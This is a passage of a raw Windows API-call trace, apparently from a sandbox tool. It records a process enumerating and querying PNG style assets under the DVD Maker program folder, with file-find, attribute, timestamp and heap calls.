1 [0067.331] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.331] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0067.331] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.331] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0067.331] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.331] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfca8c8 [0067.331] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8ae8 [0067.331] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xec0) returned 0xfaa438 [0067.331] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfcad10) returned 1 [0067.331] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0067.331] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff23274, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff23274, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x547b, dwReserved0=0x0, dwReserved1=0x0, cFileName="shatter.png", cAlternateFileName="")) returned 0 [0067.331] GetLastError () returned 0x12 [0067.331] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d260 [0067.331] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0067.331] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f4fdbf3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.332] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff23274, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff23274, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0067.332] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff493d1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff493d1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f29d477, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0067.332] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70007aa2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70007aa2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f92909f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0067.332] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ffe1945, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ffe1945, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fa59b8f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0067.332] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70007aa2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70007aa2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fa59b8f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0067.332] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff9568b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff9568b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0067.332] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff6f52e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff6f52e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0067.332] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ffbb7e8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ffbb7e8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0067.332] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff23274, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff23274, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x547b, dwReserved0=0x0, dwReserved1=0x0, cFileName="shatter.png", cAlternateFileName="")) returned 1 [0067.332] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff23274, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff23274, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x547b, dwReserved0=0x0, dwReserved1=0x0, cFileName="shatter.png", cAlternateFileName="")) returned 0 [0067.332] GetLastError () returned 0x12 [0067.332] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.332] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0067.333] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfbaf30) returned 1 [0067.333] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0067.333] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialOccasion", cAlternateFileName="")) returned 1 [0067.333] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0067.333] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0067.333] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0067.333] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0067.333] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfcad10 [0067.333] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfcad10, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfcad10, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0067.333] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfcad10) returned 1 [0067.333] NtClose (Handle=0x198) returned 0x0 [0067.334] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0067.334] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0067.334] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.334] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.334] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d260 [0067.374] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.374] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f446eef, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f446eef, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0067.374] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8b70 [0067.374] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8b70) returned 1 [0067.374] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8b70 [0067.374] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8b70) returned 1 [0067.374] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8b70 [0067.374] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbaf30 [0067.375] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.375] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfca8e8 [0067.375] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f4df463, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f4df463, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xca59, dwReserved0=0x0, dwReserved1=0x0, cFileName="mainscroll.png", cAlternateFileName="")) returned 1 [0067.375] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5e9dee, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5e9dee, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0067.375] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f60ff4b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f60ff4b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc95011, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0067.375] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f60ff4b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f60ff4b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0067.375] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6360a8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6360a8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0067.375] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f65c205, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f65c205, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0067.375] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f65c205, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f65c205, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0067.375] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f52b71d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f52b71d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x17719, dwReserved0=0x0, dwReserved1=0x0, cFileName="scenesscroll.png", cAlternateFileName="")) returned 1 [0067.375] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5055c0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5055c0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb30, dwReserved0=0x0, dwReserved1=0x0, cFileName="specialmainsubpicture.png", cAlternateFileName="")) returned 1 [0067.375] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5c3c91, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5c3c91, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0067.375] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5c3c91, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5c3c91, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0067.375] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f59db34, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f59db34, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0067.375] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f59db34, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f59db34, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0067.375] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f55187a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f55187a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1302, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0067.375] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5779d7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5779d7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff1c74f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0067.375] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3fac35, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3fac35, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff1c74f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="specialoccasion.png", cAlternateFileName="")) returned 1 [0067.375] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f4b9306, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f4b9306, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff1c74f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1917, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitemask1047.png", cAlternateFileName="")) returned 1 [0067.375] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f46d04c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f46d04c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x296fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitevignette1047.png", cAlternateFileName="")) returned 1 [0067.375] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f46d04c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f46d04c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x296fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitevignette1047.png", cAlternateFileName="")) returned 0 [0067.375] GetLastError () returned 0x12 [0067.375] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d120 [0067.376] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0067.376] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.376] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f446eef, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f446eef, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0067.376] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f4df463, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f4df463, 